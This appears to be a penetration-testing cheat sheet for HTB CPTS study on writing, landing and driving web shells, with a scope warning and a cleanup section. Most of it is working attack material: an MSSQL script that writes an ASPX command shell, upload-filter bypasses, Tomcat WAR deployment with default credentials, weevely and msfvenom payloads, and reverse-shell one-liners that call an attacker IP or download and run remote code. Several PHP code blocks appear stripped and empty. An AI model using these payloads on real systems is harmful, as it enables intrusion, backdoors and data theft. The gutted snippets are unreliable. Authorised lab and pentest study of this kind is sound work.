--- title: "Web Shells" description: "Writing, landing and running web shells: matching the shell to the stack (PHP, ASPX, classic ASP, JSP/WAR, CFM), upload-filter bypasses, LFI/SQLi/CMS/Tomcat delivery, driving the shell, upgrading to a reverse shell, and cleanup." category: web alsoIn: [exploitation] tags: [web, webshell, file-upload, rce, php, aspx, jsp, tomcat, iis, cpts, htb] tools: [laudanum, antak, weevely, msfvenom, burp-suite, exiftool, ffuf, wpscan, droopescan, sqlmap, davtest, curl] difficulty: intermediate updated: "2026-10-13" source: "vault:02Cybersecurity/Cheatsheets/Pentest Attack Flow/General Pentest Cheatsheets/05 - Web Shells - CPTS Cheat Sheet.md" references: - name: "PayloadsAllTheThings: Upload Insecure Files" url: "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files" author: "swisskyrepo" license: "MIT" relation: "inspired" note: "Extension lists and the .htaccess / web.config upload tricks" - name: "Nishang: Antak WebShell" url: "https://github.com/samratashok/nishang" author: "Nikhil Mittal" relation: "link-only" note: "PowerShell-driven ASPX shell referenced in the IIS section" - name: "Laudanum" url: "https://github.com/jbarcia/Web-Shells/tree/master/laudanum" relation: "link-only" note: "Prebuilt shells shipped with Kali and Parrot" - name: "HTB Academy: CPTS path" url: "https://academy.hackthebox.com/path/preview/penetration-tester" license: "proprietary" relation: "inspired" note: "Section order and the layered upload-defence model; the rConfig and Antak walkthroughs come from Shells & Payloads and File Upload Attacks" - name: "weevely3" url: "https://github.com/epinna/weevely3" author: "Emilio Pinna" relation: "link-only" note: "Obfuscated password-protected PHP agent and its module client" - name: "Apache Tomcat: Manager App HOW-TO" url: "https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html" relation: "link-only" note: "manager-gui / manager-script roles and the /manager/text deploy and undeploy API" - name: "MySQL: SELECT ... INTO OUTFILE" url: "https://dev.mysql.com/doc/refman/8.0/en/select-into.html" relation: "link-only" note: "FILE privilege and secure_file_priv, the two preconditions for the SQLi write primitive" --- # Web Shells A web shell is a script in the server's own language (PHP, ASP.NET, classic ASP, JSP, CFML, Perl) that runs OS commands when it sits in a directory the web server executes. Getting one working takes two steps. First, **write** a shell the target will actually run. Second, **land** it there, through an upload, a filter bypass, an LFI or SQLi write primitive, or an admin interface. After that you **drive** it, **upgrade** it to a real reverse shell, and **remove** it. This page follows the CPTS path (*Shells & Payloads → Landing a Web Shell*, *File Upload Attacks*, *Attacking Common Applications*, *SQL Injection*). It covers each step in the order you meet it on a box. > [!danger]+ Scope > Use these techniques only on HTB, HTB Academy, deliberately vulnerable labs, or systems you are authorised in writing to test. A dropped `.php` or `.aspx` file is a persistent backdoor. Track it and delete it. ## Fingerprint the stack first The most common failure is uploading a shell in a language the server does not execute. A `.php` file on IIS/ASP.NET comes back as plain text. Identify the handler before you write anything. | Server / tech | Tells | Shell format | |---|---|---| | Apache / Nginx + PHP | `X-Powered-By: PHP`, `/index.php` serves the same page as `/`, `PHPSESSID` | `.php` `.phtml` `.php5` `.pht` `.phar` | | IIS + ASP.NET | `Server: Microsoft-IIS`, `X-AspNet-Version`, `aspnet_client/`, `ASP.NET_SessionId` | `.aspx` (also `.ashx` / `.asmx` if mapped) | | IIS + classic ASP | legacy `.asp` URLs, `ASPSESSIONID*` cookie | `.asp` (`.asa` / `.cer` on old configs) | | Tomcat / JBoss / WildFly | `:8080`, `Coyote` banner, `/manager`, `JSESSIONID`, `/jmx-console` | `.jsp`, or a `.war` to deploy | | ColdFusion | `.cfm`, `:8500`, `/CFIDE/` | `.cfm` | | CGI | `/cgi-bin/`, `.pl` / `.cgi` | Perl / shell CGI | ```bash curl -sI http://target.htb/ | grep -iE 'server|x-powered-by|x-aspnet|set-cookie' for e in php asp aspx jsp; do printf '%s ' $e; curl -s -o /dev/null -w '%{http_code}\n' http://target.htb/index.$e; done whatweb -a 3 http://target.htb/ ``` ### Prove execution before you send commands A message like "upload successful" only tells you a file was stored. It does not tell you the server will run it. Upload a harmless arithmetic probe first. If the page shows `49`, the handler ran your code. If it shows the source, the file is stored but will never execute, so pick another path. ```php ``` ```aspx <%@ Page Language="C#" %><%= 7*7 %> ``` ```jsp <%= 7*7 %> ``` ```cfm #7*7# ``` ## Writing the shell ### PHP ```php // GET or POST, prints output // returns the whole output as a string // raw byte stream, fine for binary output // POST-only, keeps commands out of the query string in access logs ``` PHP has several exec functions, and admins often block some of them with `disable_functions`. `system()` prints the output and returns the last line. `shell_exec()` and backticks return everything as a string, so you need to `echo` it. `exec()` returns only the last line unless you pass it an `$output` array. If one is disabled, try `passthru`, `proc_open`, `popen` and `pcntl_exec` in turn. To see the blocklist, run ``. If every exec function is blocked, look for an LD_PRELOAD/`mail()` style bypass or move to another primitive. Prebuilt shells for when a one-liner isn't enough: ```bash ls /usr/share/webshells/php/ # Kali: simple-backdoor.php, php-reverse-shell.php … cp /usr/share/webshells/php/php-reverse-shell.php . # pentestmonkey: edit $ip / $port # phpbash https://github.com/Arrexel/phpbash semi-interactive terminal in the browser # p0wny-shell https://github.com/flozz/p0wny-shell single file, prompt UI # wwwolf https://github.com/WhiteWinterWolf/wwwolf-php-webshell still works when system() is filtered ``` `weevely` generates an obfuscated, password-protected agent and gives you a client with real modules: file ops, SQL client, port scanning, and proxying through the box. ```bash weevely generate 'S3cretPass' agent.php weevely http://target.htb/uploads/agent.php 'S3cretPass' ``` `msfvenom` builds PHP payloads that use the PHP networking API instead of calling a shell, so they still work when `system()` doesn't. msfvenom sometimes drops the opening tag. Check the file's first bytes: ```bash msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=443 -f raw -o rev.php msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=443 -f raw -o met.php head -c 5 rev.php | grep -q ' <%@ Import Namespace="System.Diagnostics" %> ``` `ValidateRequest="false"` stops ASP.NET request validation from rejecting commands that contain `<`, `>` or quotes. **Antak** (from Nishang) is an ASPX shell built on PowerShell. Each command runs as a new process, it can run scripts in memory, and it has a login form. Set the credentials around line 14 before you upload it. **Laudanum**'s `shell.aspx` restricts access by source IP: set `allowedIps` around line 59 and strip the ASCII-art banner, which antivirus engines detect. ```bash cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx # set user/pass cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # set allowedIps, strip comments msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=443 -f aspx -o met.aspx ``` > [!warning]+ The `.asp` / `.aspx` mismatch trap > Classic ASP (VBScript, `Server.CreateObject`) and ASP.NET (C#, `.jpg`, and `file';select sleep(5);--.jpg`. When scripts are blocked completely, SVG and HTML uploads still give you stored XSS and XXE. That doesn't give you a shell, but it can leak the code and the paths you need for one. ## Landing it: other write primitives ### LFI If you can include a file but not upload one, write PHP somewhere the application will include it. Options include a poisoned access log, a PHP session file, `php://input`, `data://`, or an uploaded zip or phar opened through `zip://` or `phar://`. The full workflow is on [File Inclusion (LFI/RFI)](/sheets/web/file-inclusion): ```bash curl -s http://target.htb/ -A '' curl -s 'http://target.htb/index.php?language=/var/log/apache2/access.log&cmd=id' ``` With RFI (`allow_url_include=On`), host the shell yourself. On Windows, an SMB share works even when `allow_url_include` is off: ```bash python3 -m http.server 80 # ?language=http://10.10.14.2/shell.php&cmd=id impacket-smbserver -smb2support share $(pwd) # ?language=\\10.10.14.2\share\shell.php&cmd=whoami ``` ### SQL injection → `INTO OUTFILE` This needs a DB user with the `FILE` privilege, an empty `secure_file_priv`, and a webroot that both exists and is writable by the `mysql` user. Write a harmless proof file before you write the shell. ```sql cn' UNION SELECT 1, variable_value, 3, 4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- - cn' UNION SELECT 1, 'proof', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- - cn' UNION SELECT "", '', "", "" INTO OUTFILE '/var/www/html/s.php'-- - ``` Using `""` for the other columns keeps them from adding stray values around the payload. With sqlmap: ```bash sqlmap -u 'http://target.htb/?id=1' --is-dba sqlmap -u 'http://target.htb/?id=1' --file-write shell.php --file-dest /var/www/html/shell.php sqlmap -u 'http://target.htb/?id=1' --os-shell --technique=E # if UNION output stalls, use error-based ``` MSSQL can write files through OLE Automation, which needs sysadmin. Write to `C:\inetpub\wwwroot\`: ```sql EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; DECLARE @o INT, @f INT; EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT; EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\inetpub\wwwroot\s.aspx', 8, 1; EXEC sp_OAMethod @f, 'WriteLine', NULL, '<%@ Page Language="C#" %><%= System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}).StandardOutput.ReadToEnd() %>'; EXEC sp_OADestroy @f; EXEC sp_OADestroy @o; ``` ### WebDAV, FTP and writable shares ```bash davtest -url http://target.htb/webdav/ # shows which extensions upload AND execute curl -T shell.txt http://target.htb/webdav/shell.txt && \ curl -X MOVE -H 'Destination: http://target.htb/webdav/shell.asp;.txt' http://target.htb/webdav/shell.txt # IIS 6 ';' parsing quirk cadaver http://target.htb/webdav/ ``` Look for an anonymous or credentialed FTP or SMB share whose root is the IIS or Apache webroot. Signs include `aspnet_client/`, `iisstart.htm` or `index.html` in the listing. `put shell.aspx`, then browse to it. If you already have a foothold and `icacls C:\inetpub\wwwroot` shows `(F)` or `(M)` for your user, the same applies. ## Landing it: admin panels and CMSs Admin access to most web platforms already gives you code execution. You just need to know where the editor is. The [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications-guide) guide covers enumeration. This section covers getting the shell. Use a parameter name nobody would guess (an MD5 string, not `cmd`), and edit files in an **inactive** theme or template so the live site doesn't break. ### Tomcat Manager `/manager/html` (GUI) and `/manager/text` (API) accept a WAR upload from any account with the `manager-gui` or `manager-script` role. Try the default credentials (`tomcat:tomcat`, `tomcat:s3cret`, `admin:admin`, `admin:` with a blank password) or brute-force with `auxiliary/scanner/http/tomcat_mgr_login`. ```bash curl -u tomcat:s3cret -T backup.war 'http://target.htb:8080/manager/text/deploy?path=/backup' curl 'http://target.htb:8080/backup/cmd.jsp?cmd=id' curl -u tomcat:s3cret 'http://target.htb:8080/manager/text/undeploy?path=/backup' # cleanup ``` The Tomcat service often runs as `SYSTEM` on Windows and sometimes as root on Linux. Metasploit's `exploit/multi/http/tomcat_mgr_upload` automates the whole sequence. On JBoss, deploy through `/jmx-console` → `jboss.system:service=MainDeployer`. ### WordPress As an Administrator: *Appearance → Theme File Editor* → pick an inactive theme → `404.php`. If the block editor hides the theme editor, upload a plugin zip containing your PHP file (*Plugins → Add New → Upload*). Metasploit's `exploit/unix/webapp/wp_admin_shell_upload` does this for you. ```php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ``` ```bash curl 'http://blog.target.htb/wp-content/themes/twentynineteen/404.php?dcfdd5e021a869fcc6dfaef8bf31377e=id' ``` Without admin, look for vulnerable plugins with `wpscan --enumerate ap --api-token …`. wpDiscuz (CVE-2020-24186) validates attachments only by MIME type, which allows an unauthenticated PHP upload into `/wp-content/uploads/YYYY/MM/`. ### Joomla *System → Templates → Site Templates → protostar/cassiopeia → Customise* → `error.php`. Then browse to `/templates/protostar/error.php?=id`. Joomla's login page gives the same error for a wrong username and a wrong password, so brute-force the `admin` account with a password list rather than spraying user/password pairs. ### Drupal Drupal has no built-in theme editor. Drupal 7 includes the **PHP filter** module in core: enable it, create a *Basic page* with the *PHP code* text format, and visit `/node/?=id`. In Drupal 8 and later you have to install the module first (`php-8.x-1.1.tar.gz`). The alternative is to backdoor a real module: unpack `captcha`, add your `shell.php` plus an `.htaccess` (because `/modules` denies direct access), repack it, install it through *Extend*, and browse to `/modules/captcha/shell.php`. Without credentials, try Drupalgeddon 1, 2 or 3 (CVE-2014-3704 / 2018-7600 / 2018-7602). ### Other platforms | Platform | Path to a shell | |---|---| | DotNetNuke | *Settings → Security → More Security Settings*: add `aspx` to *Allowable File Extensions* → upload through *Assets* → `/Portals/0/shell.aspx` | | rConfig | *Devices → Vendors → Add Vendor* logo upload + `Content-Type: image/gif` → `/images/vendor/.php` | | Jenkins | *Script Console* runs Groovy, so you don't need a file: `"cmd /c whoami".execute().text` | | phpMyAdmin (root) | `SELECT '' INTO OUTFILE '/var/www/html/s.php'` from the SQL tab | | Splunk / GitLab / PRTG | Use the built-in script or notification features. See [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications-guide) | ## Driving the shell Let `curl` do the URL-encoding. If you type `?cmd=id && hostname` by hand, the `&` ends the parameter and only `id` runs. ```bash SHELL_URL='http://target.htb/uploads/shell.php' curl -sG "$SHELL_URL" --data-urlencode 'cmd=id 2>&1' curl -s "$SHELL_URL" --data-urlencode 'cmd=cat /etc/passwd' # POST, which keeps the query string short curl -sG "$SHELL_URL" --data-urlencode 'cmd=whoami /priv' | sed -n '/
/,/<\/pre>/p'
```

Each request starts a fresh process. A `cd` does not carry over, interactive prompts hang, and `sudo` cannot read a password. Use absolute paths, chain commands into one request (`cd /opt && ls -la`), and append `2>&1` when the output is blank. For a pseudo-terminal, a small loop is enough:

```bash
while read -rp 'web$ ' c; do curl -sG "$SHELL_URL" --data-urlencode "cmd=$c 2>&1"; done
```

### First commands to run

```bash
# Linux
id; pwd; uname -a; command -v bash python3 perl php nc curl wget socat; ls -la /home
# Windows
whoami /all & hostname & ipconfig & where powershell
```

On Windows, check whether `whoami /priv` shows **SeImpersonatePrivilege**. The `IIS APPPOOL\*`, `NT AUTHORITY\NETWORK SERVICE` and MSSQL service accounts almost always have it, which means a Potato-family exploit can take you to SYSTEM. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide).

## Upgrading to a reverse shell

A web shell is a stepping stone. Once you have confirmed execution, start a listener and send a reverse shell through it. Use port 443 or 80, since egress filters usually allow them.

```bash
nc -lvnp 443          # or: penelope -p 443 / pwncat-cs -lp 443 for an automatic PTY upgrade
```

```bash
# Linux targets, sent through the shell with --data-urlencode
bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f
php -r '$s=fsockopen("10.10.14.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
```

```powershell
# Windows targets: base64 UTF-16LE so the quoting survives cmd.exe
powershell -nop -w hidden -enc 
# or stage nc.exe:  certutil -urlcache -f http://10.10.14.2/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe 10.10.14.2 443 -e cmd.exe
```

```bash
# generate the -enc blob on the attack box
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/rev.ps1")' | iconv -t UTF-16LE | base64 -w0
```

Stabilise the shell (`python3 -c 'import pty;pty.spawn("/bin/bash")'`, `Ctrl+Z`, `stty raw -echo; fg`, then `export TERM=xterm` and `stty rows/cols`) before you do privilege escalation. The full set of one-liners, msfvenom formats and TTY upgrades is in the [Foothold Toolkit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).

If you get no callback but commands still run, the cause is usually egress filtering, a wrong `LHOST` interface (tun0, not eth0), or a missing interpreter. Test the route with `curl http://10.10.14.2/x` or `certutil -urlcache -f http://10.10.14.2/x` before you blame the payload. If nothing gets out, work through the web shell, or tunnel over HTTP with a webshell tunnel like reGeorg/Neo-reGeorg.

## Troubleshooting

| Symptom | Likely cause | Check |
|---|---|---|
| Source shown or file downloads | No handler for that extension, or wrong language | `7*7` probe; re-fingerprint |
| IIS "Server Error in '/' Application" | VBScript in `.aspx`, or C# in `.asp` | Match the language to the extension |
| `404` right after "uploaded" | File was renamed, sits on another vhost, or is stored outside the webroot | Upload response body, `Host` header, `--resolve` |
| `403` | No execute permission on the upload directory, or a deny rule | Can you load a static file in the same directory? Check request filtering |
| Blank `200` | Exec function disabled, stderr lost, or no `cmd` parameter | Static marker; `2>&1`; `var_dump(ini_get('disable_functions'))` |
| Output truncated | Timeout or buffering | `passthru`; write a file and read it; switch to a reverse shell |
| Commands run, no callback | Egress filter, wrong `LHOST`, or missing interpreter | `curl http://LHOST/x` from the shell; check `tun0`; `ss -lntp` on the listener |
| WAR deploy returns `FAIL` | Context already exists or wrong Manager role | `GET /manager/text/list`; pick a unique path |

## Operational safety and cleanup

A web shell you leave behind is a live, unauthenticated backdoor, and the file on disk is the first thing a defender finds. Treat cleanup as part of the work.

- **Restrict access while it's live.** Laudanum `allowedIps`, Antak's login, or a non-obvious parameter name plus a shared secret. Don't leave an open `?cmd=` on a reachable host.
- **Record what you drop.** Keep the local and server filename, the URL, the SHA-256, and the time, so the report has an artifact ledger and nothing is left orphaned.
- **Remove everything** at the end: the shell, any staged tools (`nc.exe`, PrintSpoofer), uploaded WARs or plugins, and config changes (`.htaccess`, DNN extension list, Tomcat context). Verify the URL returns 404 afterwards.
- **Don't submit payloads to public VirusTotal.** It publishes the hash to every AV vendor and burns the sample.

```bash
sha256sum shell.php                                              # before upload, for the evidence log
curl -fsS -u "$U:$P" "$BASE/manager/text/undeploy?path=/backup"  # Tomcat undeploy
curl -s -o /dev/null -w '%{http_code}\n' "$SHELL_URL"            # expect 404 after deletion
```

**What defenders grep for**, so you know what you're leaving: new files with a recent mtime in upload directories; scripts containing `system|shell_exec|passthru|eval|base64_decode|assert`; ASPX with `Process.Start` or ASP with `WScript.Shell`; odd `Content-Type` on stored uploads; outbound connections from `www-data`, `apache` or `IIS APPPOOL`; and access-log hits carrying `cmd=` or `?c=` query strings.

## See also

- [File Upload Attacks · HackTricks](/hacktricks/pentesting-web/file-upload/overview) — full upload bypass reference
- [Upload Insecure Files · PayloadsAllTheThings](/payloads/upload-insecure-files) — extension lists and config-file tricks
- [File Inclusion (LFI/RFI)](/sheets/web/file-inclusion) — LFI/RFI-to-RCE delivery
- [Command Injection Filter Bypass](/sheets/web/command-injection-filter-bypass) — the injection-side companion
- [Foothold Toolkit: Shells, Payloads, Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) — reverse shells and TTY upgrades
- [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications-guide) — CMS and app enumeration
- [IIS — Internet Information Services](/hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services) — `web.config` execution, writable webroot
- [Potato Attacks](/sheets/pentest-workflow/potato-attacks-guide) — SeImpersonatePrivilege to SYSTEM